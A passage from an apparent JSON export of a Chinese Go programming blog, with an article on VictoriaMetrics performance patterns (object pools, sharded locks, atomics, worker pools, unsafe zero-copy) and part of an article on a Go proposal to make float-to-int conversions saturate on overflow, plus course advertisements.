的实战场景，带你亲眼见证它如何利用这些架构原则，把一个模糊的需求变成完美运行的代码。\n扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/13/agent-native-architecture/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/agent-native-architecture-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/13/agent-native-architecture\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/13/agent-native-architecture\"\u003ehttps://tonybai.com/2026/01/13/agent-native-architecture\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e软件智能体（Software Agents）现在已经能够可靠地工作了。\u003cstrong\u003eClaude Code\u003c/strong\u003e 证明了，只要赋予一个大语言模型（LLM）访问 Bash 和文件系统的权限，并让它在一个循环中运行直到达成目标，它就能自主完成复杂的多步骤任务。\u003c/p\u003e","title":"像构建 Claude Code 一样构建应用：揭秘 Agent-native 架构的 5 大核心原则"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/12/victoriametrics-guide-most-efficient-go-code\n大家好，我是Tony Bai。\n在 InfluxDB 转Rust 之后，VictoriaMetrics 迅速崛起，成为了 Go 生态中无可争议的第一时序数据库。凭借其惊人的写入性能、极低的内存占用以及对 Prometheus 生态的完美兼容，它赢得了大量Go开发者以及大厂的青睐。除了核心数据库，其家族还拥有 VictoriaLogs、VictoriaTraces 等明星产品，它们共同构成了一个高性能的可观测性平台。\n很多 Gopher 都好奇：为什么用同样的语言，VictoriaMetrics 能跑得这么快、省这么多内存？\n答案就藏在它的源码里。VictoriaMetrics 的代码库堪称一本活着的“Go 高性能编程教科书”。从基础的工程规范，到极致的内存复用，再到对并发模型的精细控制，每一行代码都是对性能的极致追求。\n今天，我们就来完整拆解 VictoriaMetrics 的核心编程模式，带你体验一场从入门到极致的 Go 性能进阶之旅。\n入门——务实的工程基石 在追求极致性能之前，首先要保证代码是稳健且可维护的。VictoriaMetrics 在基础工程实践上，展现了极其实用主义的智慧。\n日志系统的“自我保护” (Rate Limiting) 很多系统挂掉，不是因为 bug，而是因为错误引发的“日志风暴”耗尽了磁盘 I/O。VictoriaMetrics 教我们的第一课是：日志也需要限流。\n它不仅支持INFO/WARN/ERROR/FATAL/PANIC五级日志，以及默认支持 JSON 格式输出，便于结构化日志采集：\n// lib/logger/logger.go var ( loggerLevel = flag.String(\u0026#34;loggerLevel\u0026#34;, \u0026#34;INFO\u0026#34;, \u0026#34;Minimum level of errors to log. Possible values: INFO, WARN, ERROR, FATAL, PANIC\u0026#34;) loggerFormat = flag.String(\u0026#34;loggerFormat\u0026#34;, \u0026#34;default\u0026#34;, \u0026#34;Format for logs. Possible values: default, json\u0026#34;) ) 更引入了关键的限流参数，防止日志风暴导致磁盘 IO 过载：\n// lib/logger/logger.go var ( // 启动参数控制日志级别和限流阈值 errorsPerSecondLimit = flag.Int(\u0026#34;loggerErrorsPerSecondLimit\u0026#34;, 0, \u0026#34;Per-second limit on the number of ERROR messages...\u0026#34;) warnsPerSecondLimit = flag.Int(\u0026#34;loggerWarnsPerSecondLimit\u0026#34;, 0, Per-second limit on the number of WARN messages. If more than the given number of warns are emitted per second, then the remaining warns are suppressed. Zero values disable the rate limit) ) 在输出日志时，根据日志限流配置，对ERROR和WARN级别日志进行限制：\nfunc logMessage(level, msg string, skipframes int) { ... ... // rate limit ERROR and WARN log messages with given limit. if level == \u0026#34;ERROR\u0026#34; || level == \u0026#34;WARN\u0026#34; { limit := uint64(*errorsPerSecondLimit) if level == \u0026#34;WARN\u0026#34; { limit = uint64(*warnsPerSecondLimit) } ok, suppressMessage := logLimiter.needSuppress(location, limit) if ok { return } if len(suppressMessage) \u0026gt; 0 { msg = suppressMessage + msg } } ... ... 在你的高并发服务中，给 Error 日志加上限流开关。虽然可能丢失部分细节，但它能保护你的系统不被日志拖垮。\n配置管理：Flag 的艺术 VictoriaMetrics 并未使用第三方的flag包，而是大量使用标准库 flag 包，但用得非常智能。它为每个配置项提供了清晰文档和合理默认值，并支持通过 lib/envflag 内部包从环境变量覆盖配置。这种设计既简单又符合云原生部署需求：\n// lib/envflag/envflag.go var ( // -envflag.enable: 启用从环境变量读取标志 enable = flag.Bool(\u0026#34;envflag.enable\u0026#34;, false, \u0026#34;Whether to enable reading flags from environment variables in addition to the command line. \u0026#34;+ \u0026#34;Command line flag values have priority over values from environment vars. \u0026#34;+ \u0026#34;Flags are read only from the command line if this flag isn\u0026#39;t set. See https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/#environment-variables for more details\u0026#34;) // -envflag.prefix: 环境变量前缀 prefix = flag.String(\u0026#34;envflag.prefix\u0026#34;, \u0026#34;\u0026#34;, \u0026#34;Prefix for environment variables if -envflag.enable is set\u0026#34;) ) // Parse parses environment vars and command-line flags. // // Flags set via command-line override flags set via environment vars. // // This function must be called instead of flag.Parse() before using any flags in the program. func Parse() { ParseFlagSet(flag.CommandLine, os.Args[1:]) applySecretFlags() } 模块化与克制的抽象 打开源码目录，你会发现\nVictoriaMetrics 将功能拆分为独立的 lib 包，每个包职责单一：\nlib/storage: 核心存储引擎 lib/mergeset: 合并索引 lib/encoding: 数据编码 lib/bytesutil: 字节工具函数 lib/workingsetcache: 工作集缓存 在VictoriaMetrics代码中，你很少能看到层层嵌套的接口或复杂的依赖注入框架。 这种结构既保持了模块化，又避免了过度抽象带来的性能损耗，\n对于 CPU 密集型应用，函数调用的层级越少越好。简单、直接的代码不仅易于阅读，对编译器优化（如内联）也更友好。\n进阶——内存管理的艺术 对于数据库而言，内存就是生命线。VictoriaMetrics 在内存管理上的造诣，是其高性能的核心秘诀之一。\nsync.Pool 的高效对象复用模式 Go 的 GC 在处理海量小对象时会面临巨大压力。VictoriaMetrics 的策略是：能复用，绝不分配。 VictoriaMetrics 大量使用 sync.Pool 来复用对象，减少 GC 压力。它不仅复用简单的结构体，甚至复用复杂的切片对象，比如下面这段复用切片对象的代码。\n// lib/encoding/int.go var uint64sPool sync.Pool // Uint64s holds an uint64 slice type Uint64s struct { A []uint64 } // GetUint64s returns an uint64 slice with the given size. // The slice contents isn\u0026#39;t initialized - it may contain garbage. func GetUint64s(size int) *Uint64s { v := uint64sPool.Get() if v == nil { return \u0026amp;Uint64s{ A: make([]uint64, size), } } is := v.(*Uint64s) // 关键技巧：复用底层数组，仅调整切片长度 // 避免了重新 make([]uint64) 的开销 is.A = slicesutil.SetLength(is.A, size) return is } // PutUint64s returns is to the pool. func PutUint64s(is *Uint64s) { uint64sPool.Put(is) } 这里用到了 slicesutil.SetLength，通过切片操作复用底层数组，避免了重新分配内存：\n// lib/slicesutil/slicesutil.go // SetLength sets len(a) to newLen and returns the result. // // It may allocate new slice if cap(a) is smaller than newLen. func SetLength[T any](a []T, newLen int) []T { if n := newLen - cap(a); n \u0026gt; 0 { a = append(a[:cap(a)], make([]T, n)...) } return a[:newLen] } 突破 sync.Pool 的限制：Channel 对象池 sync.Pool 虽好，但它有两个缺点：它是 per-CPU 的，且在 GC 时会被清空。对于极大的对象（如超过 64KB 的缓冲区），这可能导致内存使用量的不可控膨胀。\nVictoriaMetrics 教你一招：用 Channel 当对象池，比 sync.Pool 更可控。\n// lib/storage/inmemory_part.go // inmemoryPart represents in-memory partition. type inmemoryPart struct { ph partHeader timestampsData chunkedbuffer.Buffer valuesData chunkedbuffer.Buffer indexData chunkedbuffer.Buffer metaindexData chunkedbuffer.Buffer creationTime uint64 } // 容量严格限制为 CPU 核数，防止内存无限膨胀 // Use chan instead of sync.Pool in order to reduce memory usage on systems with big number of CPU cores, // since sync.Pool maintains per-CPU pool of inmemoryPart objects. // // The inmemoryPart object size can exceed 64KB, so it is better to use chan instead of sync.Pool for reducing memory usage. var mpPool = make(chan *inmemoryPart, cgroup.AvailableCPUs()) func getInmemoryPart() *inmemoryPart { select { case mp := \u0026lt;-mpPool: // 尝试从池中获取 return mp default: return \u0026amp;inmemoryPart{} // 池空了，才新建 } } func putInmemoryPart(mp *inmemoryPart) { mp.Reset() select { case mpPool \u0026lt;- mp: // 尝试归还 default: // Drop mp in order to reduce memory usage. // 池满了，直接丢弃，等待 GC 回收 } } VictoriaMetrics认为：当你需要严格控制大对象的总数量时，带缓冲的 Channel 是比 sync.Pool 更安全的选择。\n切片复用的极致：[:0] 技巧 在处理数据流时，VictoriaMetrics 几乎从不通过 make 创建新切片，而是疯狂复用缓冲区。最常用的模式就是 buf = buf[:0]，该模式清空切片但保留和重用底层数组，避免重新分配新切片（包括底层数组）：\n// lib/mergeset/encoding.go func (ib *inmemoryBlock) updateCommonPrefixSorted() { items := ib.items if len(items) \u0026lt;= 1 { // There is no sense in duplicating a single item or zero items into commonPrefix, // since this only can increase blockHeader size without any benefits. ib.commonPrefix = ib.commonPrefix[:0] // 重置切片长度为 0，但保留底层容量 (capacity) return } data := ib.data cp := items[0].Bytes(data) cpLen := commonPrefixLen(cp, items[len(items)-1].Bytes(data)) cp = cp[:cpLen] ib.commonPrefix = append(ib.commonPrefix[:0], cp...) // append 操作会直接利用底层数组，无内存分配 } 智能的缓冲区分配策略 并不总是越大越好。VictoriaMetrics 实现了三种精细的缓冲区调整策略 (lib/bytesutil)：\nResizeWithCopyMayOverallocate：按 2 的幂次增长（减少未来扩容次数，空间换时间）。 ResizeWithCopyNoOverallocate：精确分配（节省内存，时间换空间）。 ResizeNoCopy…：扩容但不拷贝旧数据（用于完全覆盖写入场景，最快）。 过度分配可节省 CPU 但浪费内存；精确分配节省内存但可能频繁扩容，究竟使用哪种调整策略，需要根据实际情况权衡。\n高级——并发与锁的智慧 面对高并发，如何让多核 CPU 跑满而不互相打架？\n分片锁 (Sharding)：化整为零 这是解决锁竞争的“银弹”。VictoriaMetrics 将大的数据结构拆分为多个分片，每个分片有独立的锁。\n// lib/storage/partition.go // The number of shards for rawRow entries per partition. // // Higher number of shards reduces CPU contention and increases the max bandwidth on multi-core systems. // 1. 根据 CPU 核数决定分片数量 var rawRowsShardsPerPartition = cgroup.AvailableCPUs() type rawRowsShards struct { flushDeadlineMs atomic.Int64 shardIdx atomic.Uint32 // Shards reduce lock contention when adding rows on multi-CPU systems. // 2. 创建一组分片，每个分片有独立的锁 shards []rawRowsShard rowssToFlushLock sync.Mutex rowssToFlush [][]rawRow } func (rrss *rawRowsShards) addRows(pt *partition, rows []rawRow) { shards := rrss.shards shardsLen := uint32(len(shards)) for len(rows) \u0026gt; 0 { n := rrss.shardIdx.Add(1) idx := n % shardsLen tailRows, rowsToFlush := shards[idx].addRows(rows) // 在分片中添加row rrss.addRowsToFlush(pt, rowsToFlush) rows = tailRows } } func (rrs *rawRowsShard) addRows(rows []rawRow) ([]rawRow, []rawRow) { var rowsToFlush []rawRow rrs.mu.Lock() // 只锁定这一个分片，其他分片仍可并发写入 if cap(rrs.rows) == 0 { rrs.rows = newRawRows() } if len(rrs.rows) == 0 { rrs.updateFlushDeadline() } n := copy(rrs.rows[len(rrs.rows):cap(rrs.rows)], rows) rrs.rows = rrs.rows[:len(rrs.rows)+n] rows = rows[n:] if len(rows) \u0026gt; 0 { rowsToFlush = rrs.rows rrs.rows = newRawRows() rrs.updateFlushDeadline() n = copy(rrs.rows[:cap(rrs.rows)], rows) rrs.rows = rrs.rows[:n] rows = rows[n:] } rrs.mu.Unlock() // 解除分片锁 return rows, rowsToFlush } 原子操作：无锁编程 对于简单的计数器和状态标志操作这种简单逻辑，VictoriaMetrics 大量使用 atomic 包替代 Mutex。在 Bloom Filter (lib/bloomfilter/filter.go) 中，它更是使用 atomic.LoadUint64 和 atomic.CompareAndSwapUint64 (CAS) 来实现无锁并发位设置，性能比互斥锁快 10-100 倍。\n// lib/bloomfilter/filter.go func (f *filter) Has(h uint64) bool { bits := f.bits maxBits := uint64(len(bits)) * 64 bp := (*[8]byte)(unsafe.Pointer(\u0026amp;h)) b := bp[:] for i := 0; i \u0026lt; hashesCount; i++ { hi := xxhash.Sum64(b) h++ idx := hi % maxBits i := idx / 64 j := idx % 64 mask := uint64(1) \u0026lt;\u0026lt; j w := atomic.LoadUint64(\u0026amp;bits[i]) if (w \u0026amp; mask) == 0 { return false } } return true } func (f *filter) Add(h uint64) bool { bits := f.bits maxBits := uint64(len(bits)) * 64 bp := (*[8]byte)(unsafe.Pointer(\u0026amp;h)) b := bp[:] isNew := false for i := 0; i \u0026lt; hashesCount; i++ { hi := xxhash.Sum64(b) h++ idx := hi % maxBits i := idx / 64 j := idx % 64 mask := uint64(1) \u0026lt;\u0026lt; j w := atomic.LoadUint64(\u0026amp;bits[i]) for (w \u0026amp; mask) == 0 { wNew := w | mask // The wNew != w most of the time, so there is no need in using atomic.LoadUint64 // in front of atomic.CompareAndSwapUint64 in order to try avoiding slow inter-CPU synchronization. if atomic.CompareAndSwapUint64(\u0026amp;bits[i], w, wNew) { isNew = true break } w = atomic.LoadUint64(\u0026amp;bits[i]) } } return isNew } 本地化 Worker Pool：消除 CPU 间通信 通用的 Worker Pool 有一个全局任务队列，这会导致多个 CPU 核心竞争同一个锁，且任务在不同核心间切换会带来缓存失效。\nVictoriaMetrics 实现了一种本地化优先的 Worker Pool：每个 Worker 优先处理分配给自己的任务（通过独立的 Channel），只有在空闲时才去“帮助”其他 Worker。这种设计极大提升了多核系统的可扩展性。\n// app/vmselect/netstorage/netstorage.go // MaxWorkers returns the maximum number of concurrent goroutines, which can be used by RunParallel() func MaxWorkers() int { n := *maxWorkersPerQuery if n \u0026lt;= 0 { return defaultMaxWorkersPerQuery } if n \u0026gt; gomaxprocs { // There is no sense in running more than gomaxprocs CPU-bound concurrent workers, // since this may worsen the query performance. n = gomaxprocs } return n } var gomaxprocs = cgroup.AvailableCPUs() // 根据 CPU 核数动态决定 worker 数量（最多 32 个） var defaultMaxWorkersPerQuery = func() int { // maxWorkersLimit is the maximum number of CPU cores, which can be used in parallel // for processing an average query, without significant impact on inter-CPU communications. const maxWorkersLimit = 32 n := min(gomaxprocs, maxWorkersLimit) return n }() func (rss *Results) runParallel(qt *querytracer.Tracer, f func(rs *Result, workerID uint) error) (int, error) { tswsLen := len(rss.packedTimeseries) if tswsLen == 0 { // Nothing to process return 0, nil } var mustStop atomic.Bool initTimeseriesWork := func(tsw *timeseriesWork, pts *packedTimeseries) { tsw.rss = rss tsw.pts = pts tsw.f = f tsw.mustStop = \u0026amp;mustStop } maxWorkers := MaxWorkers() if maxWorkers == 1 || tswsLen == 1 { // It is faster to process time series in the current goroutine. var tsw timeseriesWork tmpResult := getTmpResult() rowsProcessedTotal := 0 var err error for i := range rss.packedTimeseries { initTimeseriesWork(\u0026amp;tsw, \u0026amp;rss.packedTimeseries[i]) err = tsw.do(\u0026amp;tmpResult.rs, 0) rowsReadPerSeries.Update(float64(tsw.rowsProcessed)) rowsProcessedTotal += tsw.rowsProcessed if err != nil { break } } putTmpResult(tmpResult) return rowsProcessedTotal, err } // Slow path - spin up multiple local workers for parallel data processing. // Do not use global workers pool, since it increases inter-CPU memory ping-pong, // which reduces the scalability on systems with many CPU cores. // Prepare the work for workers. tsws := make([]timeseriesWork, len(rss.packedTimeseries)) for i := range rss.packedTimeseries { initTimeseriesWork(\u0026amp;tsws[i], \u0026amp;rss.packedTimeseries[i]) } // Prepare worker channels. workers := min(len(tsws), maxWorkers) itemsPerWorker := (len(tsws) + workers - 1) / workers // 为每个 Worker 创建独立的 Channel workChs := make([]chan *timeseriesWork, workers) for i := range workChs { workChs[i] = make(chan *timeseriesWork, itemsPerWorker) } // Spread work among workers. for i := range tsws { idx := i % len(workChs) workChs[idx] \u0026lt;- \u0026amp;tsws[i] } // Mark worker channels as closed. for _, workCh := range workChs { close(workCh) } // Start workers and wait until they finish the work. var wg sync.WaitGroup for i := range workChs { wg.Add(1) qtChild := qt.NewChild(\u0026#34;worker #%d\u0026#34;, i) go func(workerID uint) { // Worker 优先处理自己 Channel 中的任务 timeseriesWorker(qtChild, workChs, workerID) qtChild.Done() wg.Done() }(uint(i)) } wg.Wait() // Collect results. var firstErr error rowsProcessedTotal := 0 for i := range tsws { tsw := \u0026amp;tsws[i] if tsw.err != nil \u0026amp;\u0026amp; firstErr == nil { // Return just the first error, since other errors are likely duplicate the first error. firstErr = tsw.err } rowsReadPerSeries.Update(float64(tsw.rowsProcessed)) rowsProcessedTotal += tsw.rowsProcessed } return rowsProcessedTotal, firstErr } 并发度控制：Channel 作为信号量进行限流 为了防止内存溢出，必须严格限制并发处理的数据块数量。VictoriaMetrics 使用带缓冲 Channel 作为信号量来实现限流。\n// lib/mergeset/table.go // Table represents mergeset table. type Table struct { ... ... // inmemoryPartsLimitCh limits the number of inmemory parts to maxInmemoryParts // in order to prevent from data ingestion slowdown as described at https://github.com/VictoriaMetrics/VictoriaMetrics/pull/5212 inmemoryPartsLimitCh chan struct{} ... ... } func (tb *Table) addToInmemoryParts(pw *partWrapper, isFinal bool) { // Wait until the number of in-memory parts goes below maxInmemoryParts. // This prevents from excess CPU usage during search in tb under high ingestion rate to tb. // See https://github.com/VictoriaMetrics/VictoriaMetrics/pull/5212 select { case tb.inmemoryPartsLimitCh \u0026lt;- struct{}{}: default: tb.inmemoryPartsLimitReachedCount.Add(1) select { case tb.inmemoryPartsLimitCh \u0026lt;- struct{}{}: // 满则阻塞等待 case \u0026lt;-tb.stopCh: } } ... ... } 专家——黑魔法与算法优化 当常规手段用尽，VictoriaMetrics 开始使用一些“非常规”武器。\nUnsafe 的零拷贝技巧 Go 的 string 和 []byte 转换通常涉及内存拷贝。在热点路径上，VictoriaMetrics 使用 unsafe 绕过。\n// lib/bytesutil/bytesutil.go // 零拷贝：[]byte -\u0026gt; string func ToUnsafeString(b []byte) string { return unsafe.String(unsafe.SliceData(b), len(b)) } // 零拷贝：string -\u0026gt; []byte func ToUnsafeBytes(s string) []byte { return unsafe.Slice(unsafe.StringData(s), len(s)) } 此外，它还使用 unsafe.Add 进行直接指针运算来获取子切片，以及直接将 uint64 转为字节数组指针进行哈希计算，这些都可以在热路径上减少了边界检查和内存分配。\n警告：这是一把双刃剑。你必须确保原始数据在生命周期内有效且不可变，否则会导致严重的逻辑错误甚至 Panic。\n汇编优化与算法选择 VictoriaMetrics 本身并不手写汇编，但它极其善于利用经过汇编优化的第三方库（如 xxhash, zstd）。\n更重要的是，它针对时序数据特点，发明了 Nearest Delta 编码(最近邻 Delta 编码)。它不仅存储数值的“差值(delta)”，还通过位运算移除不必要的精度和末尾的零。\n它还支持策略自适应，会智能判断数据类型（Gauge vs Counter），选择不同编码。甚至在压缩效果不佳时自动回退到存储原始数据，确保在 CPU 和存储空间之间取得最佳平衡。\n内存布局优化：公共前缀提取 在索引存储中，有序数据的 Key 往往有很长的公共前缀。VictoriaMetrics 会自动提取首尾元素的公共前缀，只存储差异部分。这不仅减少了内存占用，更提高了 CPU 缓存的命中率。\n小结：Gopher 的修行之路 通过完整剖析 VictoriaMetrics 的源码，我们看到了一条清晰的性能进阶之路：\n入门：编写简单、直接、模块化的代码，利用 Flag 和日志限流构建稳健系统。 进阶：精通内存复用，灵活运用 sync.Pool 和 Channel 对象池，将 GC 压力降至最低。 高级：深刻理解并发，利用分片锁、原子操作和本地化队列，压榨多核 CPU 的极限。 极致：在热点路径上，敢于使用 unsafe 和自定义算法，通过对数据特征的深刻理解换取最后的性能提升。 性能优化没有黑魔法，只有对原理的深刻理解和对细节的极致打磨。 希望 VictoriaMetrics 的这些实战技巧，能帮助你在 Go 语言的修行之路上，更上一层楼。\n你的性能优化“必杀技”\nVictoriaMetrics 的代码确实让人叹为观止。在你的 Go 开发生涯中，有没有哪一个性能优化技巧（比如 sync.Pool 或 unsafe）让你印象最深刻，或者真的帮了大忙？\n欢迎在评论区分享你的“优化故事”！ 让我们一起挖掘更多 Go 语言的性能宝藏。\n如果这篇文章让你对 Go 高性能编程有了新的领悟，别忘了点个【赞】和【在看】，并转发给你的团队，好代码值得被更多人看到！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/12/victoriametrics-guide-most-efficient-go-code/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/victoriametrics-guide-most-efficient-go-code-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/12/victoriametrics-guide-most-efficient-go-code\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/12/victoriametrics-guide-most-efficient-go-code\"\u003ehttps://tonybai.com/2026/01/12/victoriametrics-guide-most-efficient-go-code\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 \u003ca href=\"https://tonybai.com/2025/12/13/influxdb-3-0-grand-gamble-or-painful-cycle/\"\u003eInfluxDB 转Rust\u003c/a\u003e 之后，\u003cstrong\u003eVictoriaMetrics\u003c/strong\u003e 迅速崛起，成为了 Go 生态中无可争议的第一\u003ca href=\"https://tonybai.com/2023/05/28/understand-time-series-of-tsdb\"\u003e时序数据库\u003c/a\u003e。凭借其惊人的写入性能、极低的内存占用以及对 Prometheus 生态的完美兼容，它赢得了大量Go开发者以及大厂的青睐。除了核心数据库，其家族还拥有 \u003ca href=\"https://github.com/VictoriaMetrics/VictoriaLogs\"\u003eVictoriaLogs\u003c/a\u003e、\u003ca href=\"https://github.com/VictoriaMetrics/VictoriaTraces\"\u003eVictoriaTraces\u003c/a\u003e 等明星产品，它们共同构成了一个高性能的可观测性平台。\u003c/p\u003e","title":"从入门到极致：VictoriaMetrics 教你写出最高效的 Go 代码"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/11/proposal-float-to-int-conversions-should-saturate-on-overflow\n大家好，我是Tony Bai。\n你是否知道，同一行简单的代码 int64(myFloat)，在 Intel (amd64) 机器上可能返回一个巨大的负数，而在 ARM64 机器上却可能返回最大正整数？\n在 Go 语言中，浮点数到整数的转换溢出行为长期以来一直属于“实现定义”(implementation-dependent) 的灰色地带。这意味着，代码的运行结果竟然取决于你底层的 CPU 架构。这种不确定性，一直是跨平台开发中一个难以察觉的隐形地雷。\n2025年末，Go 编译器团队核心成员 David Chase 提交了一份提案（#76264），旨在彻底终结这种混乱。该提案计划在未来的 Go 版本中，强制规定所有平台上的浮点转整数必须是“饱和”的 (saturating)，从而实现真正的全平台行为一致。\n痛点：薛定谔的转换结果 在现有的 Go 规范下，如果你尝试将一个超出目标整数范围的浮点数（例如 1e100）转换为 int64，结果是未定义的。\n让我们看看这有多疯狂。假设我们有以下代码：\nvar f float64 = 1e100 // 一个巨大的数 var i int64 = int64(f) fmt.Println(i) 这段代码在不同架构下的运行结果截然不同：\nARM64, RISC-V: 返回 9223372036854775807 (MAX_INT64)。这是“饱和”行为，即卡在最大值。 AMD64 (x86-64): 返回 -9223372036854775808 (MIN_INT64)。这是一个令人困惑的溢出结果。 WASM: 行为又不一样… 更糟糕的是 NaN (Not a Number) 的转换：\nvar j int64 = int64(math.NaN()) fmt.Println(j) ARM64: 返回 0。 AMD64: 返回 MIN_INT64。 RISC-V: 返回 MAX_INT64。 这种不一致性不仅仅是理论问题，它已经导致了准标准库 x/time/rate 中的真实 Bug (#71154)。当你的代码逻辑依赖于转换结果的正负号来做判断时（例如 if i \u0026gt; 0），这种硬件差异就是致命的。\n解决方案：拥抱“饱和转换” David Chase 的提案非常直接：统一行为，拥抱饱和。\n所谓“饱和转换”，是指当浮点数超出目标整数的表示范围时，结果应该被“钳制”在目标类型的最大值或最小值，而不是发生回绕(wraparound)或产生随机值。\n具体规则如下：\n正溢出 -\u0026gt; 返回目标类型的 最大值 (MaxInt)。 负溢出 -\u0026gt; 返回目标类型的 最小值 (MinInt)。 NaN -\u0026gt; 返回 0 (或归一化为 0)。 这一改变将使得 Go 代码在任何 CPU 架构上都表现出完全一致的逻辑，彻底消除了这类可移植性隐患。\n深层权衡：一致性 vs. 性能 为什么 Go 以前不这么做？核心原因在于性能成本。\n在 ARM64 和 RISC-V 等现代架构上，硬件指令集（如 FCVT）原生支持饱和转换，因此这样做几乎没有额外开销。\n然而，AMD64 (x86-64) 是个“异类”。它的 CVTTSD2SQ 指令在溢出时不仅返回一个特殊的“不定值”（通常是 MinInt），还会触发浮点异常。为了在 AMD64 上模拟出“饱和”行为，编译器必须插入额外的检查代码：\n// 模拟代码逻辑：AMD64 上的额外开销 result = int64(x) if result == MIN_INT64 { // 可能溢出了 if x \u0026gt; 0 { result = MAX_INT64 // 正溢出修正 } else if !(x \u0026lt; 0) { result = 0 // NaN 修正 } } Go 核心团队成员 Ian Lance Taylor 在评论中指出，我们必须权衡：为了消除这种不一致性，值得让 AMD64 上的转换操作变慢吗？\n提案作者 David Chase 的回应是：值得。 与 FMA (融合乘加) 指令带来的微小精度差异不同，浮点转整数的差异往往是正负号级别的（MaxInt vs MinInt），这直接决定了代码逻辑的走向（循环是否执行、条件是否满足）。这种差异带来的 Bug 极其隐蔽且难以调试，其代价远超那几条指令的性能损耗。\n实施计划：温和的演进 为了避免生态系统的剧烈震荡，提案建议采用分阶段的落地策略：\nGo 1.26: 引入 GOEXPERIMENT 标志，允许开发者尝鲜并测试影响。 Go 1.27: 将其设为默认的实现行为。 Go 1.28: 正式修改 Go 语言规范 (Spec)，将其确立为标准。 注：Go 1.26当前已经功能冻结，该提案依然处于Go语言规范变更审查委员会的讨论状态中，因此即便逻辑，其实际落地时间表也会顺延。\n小结：Go 向“完美可移植性”迈出的重要一步 Dr Chase的这个提案不仅是对一个技术细节的修正，更是 Go 语言设计哲学的一次体现：在工程实践中，可预测性和可移植性往往优于特定平台上的极致微优化。\n如果该提案通过，未来的 Gopher 们将不再需要担心底层的 CPU 是 Intel 还是 ARM，int64(NaN) 永远是 0，int64(Inf) 永远是 MaxInt64。这，才是我们想要的“Write Once, Run Anywhere”。\n注：目前Dr Chase也在努力弥合amd64下的性能差距。\n资料链接：https://github.com/golang/go/issues/76264\n你的跨平台“血泪史”\n跨平台开发中的“未定义行为”往往是最难调试的 Bug。在你的开发生涯中，是否也遇到过因为 CPU 架构或操作系统差异而导致的诡异问题？你支持为了“一致性”而牺牲一点点 AMD64 上的性能吗？\n欢迎在评论区分享你的踩坑经历或对提案的看法！ 让我们一起见证 Go 语言的进化。\n如果这篇文章让你对底层原理有了新的认识，别忘了点个【赞】和【在看】，并转发给你的硬核伙伴！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/11/proposal-float-to-int-conversions-should-saturate-on-overflow/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/proposal-float-to-int-conversions-should-saturate-on-overflow-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca 